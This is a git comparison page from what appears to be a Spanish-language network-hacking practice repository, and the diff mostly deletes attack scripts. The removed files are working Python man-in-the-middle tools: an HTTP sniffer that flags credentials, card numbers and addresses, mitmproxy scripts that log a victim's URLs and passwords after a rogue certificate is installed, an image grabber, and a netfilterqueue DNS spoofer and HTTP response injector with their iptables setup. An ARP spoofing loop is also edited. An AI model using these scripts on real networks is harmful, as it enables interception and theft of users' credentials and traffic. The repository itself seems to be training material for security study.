Compare commits
No commits in common. "2de0131f95b90251fc17eb5ba5448607ef563c7b" and "4847e32f04d20f7d0ad19a6f9252e77ecc819133" have entirely different histories.
2de0131f95
...
4847e32f04
4
.gitignore
vendored
4
.gitignore
vendored
@ -173,7 +173,3 @@ cython_debug/
|
||||
*.key
|
||||
*.csr
|
||||
|
||||
|
||||
# Ignore binary files of mitmproxy
|
||||
|
||||
mitmproxy/
|
||||
|
||||
@ -52,8 +52,6 @@ def main():
|
||||
|
||||
arguments = get_arguments()
|
||||
|
||||
print("\n[+] Iniciando ARP spoofing...")
|
||||
|
||||
while True:
|
||||
spoof(arguments.ip_address, "192.168.1.1") # Mensaje al target
|
||||
spoof("192.168.1.1", arguments.ip_address) # Mensaje al router
|
||||
@ -52,7 +52,7 @@ def process_sniffed_packet(packet):
|
||||
|
||||
def sniff(interface):
|
||||
"""
|
||||
Sniffing de paquetes
|
||||
|
||||
"""
|
||||
|
||||
print("\n[+] Interceptando paquetes de la máquina victima: \n")
|
||||
@ -1,105 +0,0 @@
|
||||
# /usr/bin/env python3
|
||||
"""
|
||||
HTTP sniffer
|
||||
|
||||
Práctica con testphp.vulnweb.com
|
||||
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import signal
|
||||
import scapy.all as scapy
|
||||
from scapy.layers import http
|
||||
|
||||
|
||||
def def_handler(sig, frame):
|
||||
|
||||
print("\n\n[!] Saliendo del programa...\n")
|
||||
exit(1)
|
||||
|
||||
|
||||
signal.signal(signal.SIGINT, def_handler)
|
||||
|
||||
|
||||
def get_arguments():
|
||||
"""
|
||||
Obtiene los argumentos de la línea de comandos
|
||||
"""
|
||||
|
||||
parser = argparse.ArgumentParser(description="DNS sniffer")
|
||||
parser.add_argument(
|
||||
"-i", "--interface",
|
||||
required=True, dest="interface",
|
||||
help="Interfaz de red a utilizar"
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
return args
|
||||
|
||||
|
||||
def process_sniffed_packet(packet):
|
||||
"""
|
||||
Procesa el paquete sniffado
|
||||
"""
|
||||
|
||||
cred_keywords = [
|
||||
"username", "user", "uname", "urname", "user_name", "usern"
|
||||
"login", "password", "pass",
|
||||
"mail", "email", "correo",
|
||||
"phone", "telephone", "tel", "cellphone", "cell", "cel", "movil",
|
||||
"credit", "card", "cc", "tarjeta", "credito", "debito", "debit", "ucc"
|
||||
"address", "direccion", "dir", "street", "calle", "avenue", "av",
|
||||
"location", "city", "country"]
|
||||
|
||||
if packet.haslayer(http.HTTPRequest):
|
||||
|
||||
url = "http://" + \
|
||||
packet[http.HTTPRequest].Host.decode() + \
|
||||
packet[http.HTTPRequest].Path.decode()
|
||||
|
||||
print(f"[+] URL visitada: {url}")
|
||||
|
||||
if packet.haslayer(scapy.Raw):
|
||||
|
||||
try:
|
||||
|
||||
response = packet[scapy.Raw].load.decode()
|
||||
|
||||
for keyword in cred_keywords:
|
||||
|
||||
if keyword in response:
|
||||
|
||||
print(f"[+] Información comprometida: {response}")
|
||||
break
|
||||
|
||||
except:
|
||||
|
||||
pass
|
||||
|
||||
|
||||
def sniff(interface):
|
||||
"""
|
||||
Sniffing de paquetes
|
||||
"""
|
||||
|
||||
print("\n[+] Interceptando paquetes de la máquina victima: \n")
|
||||
|
||||
scapy.sniff(
|
||||
iface=interface, store=False,
|
||||
prn=process_sniffed_packet
|
||||
)
|
||||
|
||||
|
||||
def main():
|
||||
"""
|
||||
Función principal
|
||||
"""
|
||||
|
||||
arguments = get_arguments()
|
||||
|
||||
sniff(arguments.interface)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
main()
|
||||
@ -1,28 +0,0 @@
|
||||
# /usr/bin/env python3
|
||||
"""
|
||||
HTTPS sniffer - MITM Proxy
|
||||
|
||||
1. Descargar los binarios de mitmproxy, mitmweb y mitmdump
|
||||
2. Ejecutar binario mitmweb o mitmproxy.
|
||||
3. Configurar el proxy en la máquina víctima. (IP:8080)
|
||||
4. Comprobar en la url mitm.it desde la máquina de la victima que
|
||||
ya puedes descargar el certificado
|
||||
5. Instalar el certificado en la máquina de la víctima
|
||||
6. Observar el tráfico en la máquina del atacante
|
||||
7. Ejecutar el script con el binario mitmdump con la opción -s para
|
||||
indicar el script a ejecutar y personalizar la recogida de información
|
||||
|
||||
"""
|
||||
|
||||
from mitmproxy import http
|
||||
from mitmproxy import ctx
|
||||
|
||||
|
||||
def request(packet):
|
||||
|
||||
ctx.log.info(f"\n\n[+] URL: {packet.request.url}\n\n")
|
||||
|
||||
|
||||
def response(packet):
|
||||
|
||||
ctx.log.info(f"\n\n[+] Response: {packet.request.url}\n\n")
|
||||
@ -1,60 +0,0 @@
|
||||
# /usr/bin/env python3
|
||||
"""
|
||||
HTTPS sniffer - MITM Proxy
|
||||
|
||||
1. Descargar los binarios de mitmproxy, mitmweb y mitmdump
|
||||
2. Ejecutar binario mitmweb o mitmproxy.
|
||||
3. Configurar el proxy en la máquina víctima. (IP:8080)
|
||||
4. Comprobar en la url mitm.it desde la máquina de la victima que
|
||||
ya puedes descargar el certificado
|
||||
5. Instalar el certificado en la máquina de la víctima
|
||||
6. Observar el tráfico en la máquina del atacante
|
||||
7. Ejecutar el script con el binario mitmdump con la opción -s para
|
||||
indicar el script a ejecutar y personalizar la recogida de información
|
||||
|
||||
También se puede lanzar desde docker: https://hub.docker.com/r/mitmproxy/mitmproxy/
|
||||
|
||||
"""
|
||||
|
||||
from mitmproxy import http
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
def has_keywords(data, keywords):
|
||||
"""
|
||||
Esta función comprueba si en la petición se encuentran las palabras
|
||||
clave que nos interesan
|
||||
"""
|
||||
|
||||
return any(keyword in data for keyword in keywords)
|
||||
|
||||
|
||||
|
||||
def request(packet):
|
||||
"""
|
||||
Esta función se ejecuta cada vez que se realiza una petición
|
||||
"""
|
||||
|
||||
url = packet.request.url
|
||||
|
||||
parsed_url = urlparse(url)
|
||||
|
||||
scheme = parsed_url.scheme
|
||||
|
||||
domain = parsed_url.netloc
|
||||
|
||||
path = parsed_url.path
|
||||
|
||||
print(f"\n\nURL visitada por la víctima: {scheme}://{domain}{path}")
|
||||
|
||||
keywords = [
|
||||
"login", "signin", "logon",
|
||||
"password", "pass", "passwd",
|
||||
"user", "username"
|
||||
]
|
||||
|
||||
data = packet.request.get_text()
|
||||
|
||||
if has_keywords(data, keywords):
|
||||
|
||||
print(f"\n\nPosible credencial:\n\n{data}\n\n")
|
||||
@ -1,38 +0,0 @@
|
||||
#/usr/bin/env python3
|
||||
"""
|
||||
Images sniffer
|
||||
"""
|
||||
|
||||
from mitmproxy import http
|
||||
from mitmproxy import ctx
|
||||
|
||||
def response(flow):
|
||||
"""
|
||||
Sniff images
|
||||
"""
|
||||
|
||||
content_type = flow.response.headers.get("Content-Type", "No Content-Type")
|
||||
|
||||
try:
|
||||
|
||||
if "image" in content_type:
|
||||
|
||||
url = flow.request.url
|
||||
|
||||
ext = content_type.split("/")[-1]
|
||||
|
||||
if ext == "jpeg":
|
||||
ext = "jpg"
|
||||
|
||||
file_name = f"img/{url.replace('/', '_')}.{ext}"
|
||||
|
||||
image_data = flow.response.content
|
||||
|
||||
with open(file_name, "wb") as f:
|
||||
|
||||
f.write(image_data)
|
||||
|
||||
print(f"\n[+]Imagen guardada: {file_name}\n")
|
||||
|
||||
except:
|
||||
pass
|
||||
@ -1,27 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import scapy.all as scapy
|
||||
|
||||
|
||||
def process_packet(packet):
|
||||
"""
|
||||
Procesa los paquetes que llegan a la cola 0
|
||||
"""
|
||||
|
||||
if packet.haslayer(scapy.DNSRR):
|
||||
|
||||
qname = packet[scapy.DNSQR].qname
|
||||
|
||||
# print(qname)
|
||||
|
||||
if "hack4u.io" in qname.decode() or "vergaracarmona.es" in qname.decode():
|
||||
|
||||
print(
|
||||
f"\n------------------\n{packet.show()}\n------------------\n"
|
||||
)
|
||||
|
||||
|
||||
scapy.sniff(
|
||||
iface="wlo1", filter="udp and port 53",
|
||||
store=False, prn=process_packet
|
||||
)
|
||||
@ -1,88 +0,0 @@
|
||||
# /usr/bin/env python3
|
||||
"""
|
||||
DNS Spoofer
|
||||
|
||||
Se necesita instalar netfilterqueue:
|
||||
pip3 install netfilterqueue
|
||||
|
||||
Para que funcione hay que redirigir el tráfico a la cola 0:
|
||||
iptables -I INPUT -j NFQUEUE --queue-num 0
|
||||
iptables -I OUTPUT -j NFQUEUE --queue-num 0
|
||||
iptables -I FORWARD -j NFQUEUE --queue-num 0
|
||||
iptables --policy FORWARD ACCEPT
|
||||
|
||||
Con esto no puedes navegar porque los paquetes están a la espera
|
||||
de ser procesados por netfilterqueue.
|
||||
|
||||
Para eliminar las anteriores reglas:
|
||||
iptables -D INPUT -j NFQUEUE --queue-num 0
|
||||
iptables -D OUTPUT -j NFQUEUE --queue-num 0
|
||||
iptables -D FORWARD -j NFQUEUE --queue-num 0
|
||||
iptables --policy FORWARD ACCEPT
|
||||
|
||||
"""
|
||||
|
||||
import netfilterqueue
|
||||
import scapy.all as scapy
|
||||
import signal
|
||||
import sys
|
||||
|
||||
|
||||
def def_handler(sig, frame):
|
||||
|
||||
print('\n[!] Saliendo...\n')
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
signal.signal(signal.SIGINT, def_handler)
|
||||
|
||||
|
||||
def process_packet(packet):
|
||||
"""
|
||||
Procesa los paquetes que llegan a la cola 0
|
||||
"""
|
||||
|
||||
# El paquete en bruto lo tratamos como un paquete scapy para poder manipularlo
|
||||
scapy_packet = scapy.IP(packet.get_payload())
|
||||
|
||||
# Filtramos los paquetes DNS por el puerto 53 y que tengan una capa DNSRR
|
||||
if scapy_packet.haslayer(scapy.DNSRR):
|
||||
|
||||
# Obtenemos el nombre del dominio
|
||||
qname = scapy_packet[scapy.DNSQR].qname
|
||||
|
||||
# Si el dominio es hack4u.io
|
||||
if b"hack4u.io" in qname:
|
||||
|
||||
print(
|
||||
f"\n[+] Envenenando los dominios hack4u.io ...\n"
|
||||
)
|
||||
|
||||
# Creamos un paquete DNSRR con el nombre del dominio
|
||||
# y la IP a la que queremos redirigir
|
||||
answer = scapy.DNSRR(rrname=qname, rdata="192.168.1.115")
|
||||
|
||||
# Modificamos el paquete DNS original con la respuesta que queremos
|
||||
scapy_packet[scapy.DNS].an = answer
|
||||
# Ponemos el número de respuestas a 1
|
||||
# (En este caso tenía 3 originalmente)
|
||||
scapy_packet[scapy.DNS].ancount = 1
|
||||
|
||||
# Eliminamos los campos de longitud y checksum
|
||||
# para que scapy los recalcule
|
||||
del scapy_packet[scapy.IP].len
|
||||
del scapy_packet[scapy.IP].chksum
|
||||
del scapy_packet[scapy.UDP].len
|
||||
del scapy_packet[scapy.UDP].chksum
|
||||
|
||||
packet.set_payload(scapy_packet.build())
|
||||
|
||||
packet.accept()
|
||||
|
||||
print(f"[+] Iniciando el envenenamiento de DNS ...")
|
||||
|
||||
queue = netfilterqueue.NetfilterQueue()
|
||||
|
||||
queue.bind(0, process_packet)
|
||||
|
||||
queue.run()
|
||||
@ -1,112 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Traffic Hijacking
|
||||
|
||||
Vamos a injectar código en la web testphp.vulnweb.com para que cuando se haga
|
||||
una petición a la web desde la máquina victima, se redirija a nuestra web.
|
||||
|
||||
Para que funcione hay que redirigir el tráfico a la cola 0:
|
||||
iptables -I INPUT -j NFQUEUE --queue-num 0
|
||||
iptables -I OUTPUT -j NFQUEUE --queue-num 0
|
||||
iptables -I FORWARD -j NFQUEUE --queue-num 0
|
||||
iptables --policy FORWARD ACCEPT
|
||||
|
||||
Con esto no puedes navegar porque los paquetes están a la espera
|
||||
de ser procesados por netfilterqueue.
|
||||
|
||||
Para eliminar las anteriores reglas:
|
||||
iptables -D INPUT -j NFQUEUE --queue-num 0
|
||||
iptables -D OUTPUT -j NFQUEUE --queue-num 0
|
||||
iptables -D FORWARD -j NFQUEUE --queue-num 0
|
||||
iptables --policy FORWARD ACCEPT
|
||||
|
||||
"""
|
||||
|
||||
import netfilterqueue
|
||||
import re
|
||||
import scapy.all as scapy
|
||||
import signal
|
||||
import sys
|
||||
|
||||
|
||||
def def_handler(sig, frame):
|
||||
"""
|
||||
Ctrl + C
|
||||
"""
|
||||
|
||||
print('\n[!] Saliendo...\n')
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
signal.signal(signal.SIGINT, def_handler)
|
||||
|
||||
|
||||
def set_load(packet, load):
|
||||
"""
|
||||
Modifica el campo load del paquete
|
||||
"""
|
||||
|
||||
# Modificamos el campo load del paquete
|
||||
packet[scapy.Raw].load = load
|
||||
|
||||
# Eliminamos los campos de la capa IP y TCP para que se recalcule el checksum
|
||||
del packet[scapy.IP].len
|
||||
del packet[scapy.IP].chksum
|
||||
del packet[scapy.TCP].chksum
|
||||
|
||||
return packet
|
||||
|
||||
|
||||
def process_packet(packet):
|
||||
"""
|
||||
Procesa los paquetes que llegan a la cola 0
|
||||
"""
|
||||
|
||||
scapy_packet = scapy.IP(packet.get_payload())
|
||||
|
||||
if scapy_packet.haslayer(scapy.Raw):
|
||||
|
||||
try:
|
||||
|
||||
if scapy_packet[scapy.TCP].dport == 80:
|
||||
|
||||
print("Modificada petición HTTP")
|
||||
|
||||
# Eliminamos la cabecera Accept-Encoding para que no comprima
|
||||
# el contenido
|
||||
modified_load = re.sub(
|
||||
b"Accept-Encoding:.*?\\r\\n", b"", scapy_packet[scapy.Raw].load
|
||||
)
|
||||
|
||||
# Eliminamos la cabecera HTTP/1.1 para que no se queje
|
||||
new_packet = set_load(scapy_packet, modified_load)
|
||||
|
||||
# Inyectamos código en la petición
|
||||
packet.set_payload(new_packet.build())
|
||||
|
||||
elif scapy_packet[scapy.TCP].sport == 80:
|
||||
|
||||
print("Modificada respuesta HTTP")
|
||||
|
||||
# Inyectamos código HTML en la respuesta
|
||||
modified_load = scapy_packet[scapy.Raw].load.replace(
|
||||
b"welcome to our page", b"Welcome to the hacked page ;)"
|
||||
)
|
||||
|
||||
# Enviamos el paguete modificado
|
||||
new_packet = set_load(scapy_packet, modified_load)
|
||||
|
||||
packet.set_payload(new_packet.build())
|
||||
|
||||
except:
|
||||
|
||||
pass
|
||||
|
||||
packet.accept()
|
||||
|
||||
|
||||
print(f"[+] Iniciando traffic hijacking ...")
|
||||
|
||||
queue = netfilterqueue.NetfilterQueue()
|
||||
queue.bind(0, process_packet)
|
||||
queue.run()
|
||||
Loading…
Reference in New Issue
Block a user